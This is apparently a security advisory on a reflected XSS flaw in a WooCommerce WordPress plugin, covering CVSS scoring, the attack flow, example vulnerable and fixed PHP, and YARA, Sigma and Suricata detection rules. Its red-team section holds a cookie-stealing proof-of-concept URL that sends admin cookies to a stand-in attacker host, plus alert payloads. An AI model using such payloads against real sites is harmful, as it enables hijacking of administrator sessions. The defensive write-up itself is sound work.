CVE-2025-0864

Executive Summary

CVE-2025-0864 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the Active Products Tables for WooCommerce WordPress plugin, versions up to and including 1.0.6.6. The flaw resides in the shortcodes_set parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or injection of malicious content.

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but the lack of a patch makes it a ticking time bomb for unmaintained sites.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed automatically. Since no patch is available, site owners must manually remove or disable the plugin to mitigate risk. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (clicking a link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can lead to full compromise of the WordPress admin session if the victim has elevated privileges.

Deep Dive & Mechanics

The vulnerability exists in the shortcodes_set parameter, which is used by the plugin to load or display shortcode configurations. The plugin fails to sanitize user input via $_GET['shortcodes_set'] and does not escape the output when reflecting it back in the admin interface. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker crafts a URL: https://target.com/wp-admin/admin.php?page=active-products-tables&shortcodes_set=<script>alert('XSS')</script>
2. Attacker sends this link to a logged-in admin via email, social engineering, or other means.
3. Admin clicks the link, and the injected script executes in the context of the WordPress admin dashboard.
4. The script can steal cookies, create new admin users, or modify site content.

The vulnerability is classified as Reflected XSS because the payload is immediately reflected in the HTTP response without being stored on the server.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.6.6):

// In admin page handler
$shortcodes_set = $_GET['shortcodes_set'];
echo '<div class="notice">Shortcode set: ' . $shortcodes_set . '</div>';

Patched Code (hypothetical):

// Properly sanitize and escape
$shortcodes_set = sanitize_text_field( $_GET['shortcodes_set'] );
echo '<div class="notice">Shortcode set: ' . esc_html( $shortcodes_set ) . '</div>';

The fix requires using esc_html() or wp_kses_post() to escape output, and sanitize_text_field() to sanitize input. Since no official patch exists, users must apply this manually or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with plugin version <= 1.0.6.6
• Victim must be logged in as admin or editor
• Attacker must trick victim into clicking a crafted link

Proof-of-Concept URL:

https://target.com/wp-admin/admin.php?page=active-products-tables&shortcodes_set=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Automated Exploit (Python):

import requests

target = "https://target.com/wp-admin/admin.php"
params = {
    "page": "active-products-tables",
    "shortcodes_set": "<script>alert('XSS')</script>"
}
# This URL would be sent to the victim
print(f"Send this link to victim: {target}?page=active-products-tables&shortcodes_set=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E")

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor web server logs for requests containing shortcodes_set parameter with script tags or base64-encoded payloads.
2. Use WAF rules to block shortcodes_set values containing <script, onerror, onload, or javascript:.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable or remove the plugin immediately.
• Apply a virtual patch via WAF: block shortcodes_set parameter values containing HTML tags.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: wp-admin/admin.php?page=active-products-tables&shortcodes_set=*
• HTTP Request Parameter: shortcodes_set containing <script>, %3Cscript%3E, or other HTML/JS payloads.
• Log Entries: GET /wp-admin/admin.php?page=active-products-tables&shortcodes_set=<script>...
• Cookie Theft: Outbound connections to attacker-controlled domains from admin dashboard.

Detection Engineering

YARA Rule

rule CVE_2025_0868_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Active Products Tables for WooCommerce plugin"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0864"
    strings:
        $param = "shortcodes_set="
        $script = /<script[^>]*>/
        $event = /on\w+\s*=\s*['"]/
    condition:
        $param and ($script or $event)
}

Sigma Rule

title: Reflected XSS via Active Products Tables for WooCommerce
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious shortcodes_set parameter
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "shortcodes_set="
        cs-uri-query|contains|any:
            - "<script"
            - "%3Cscript"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0864 Reflected XSS in Active Products Tables for WooCommerce"; flow:to_server,established; content:"shortcodes_set="; http_uri; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin or by renaming the plugin folder via FTP/SFTP.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block malicious shortcodes_set values.
3. Monitor logs for any signs of exploitation.

Long-Term Fix:

• Since no official patch exists, consider replacing the plugin with an alternative that is actively maintained.
• If you must keep the plugin, manually patch the vulnerable file by adding esc_html() and sanitize_text_field() as shown in the patched code section.

User Education:

• Train administrators to avoid clicking links in unsolicited emails or messages.
• Use browser extensions that block XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst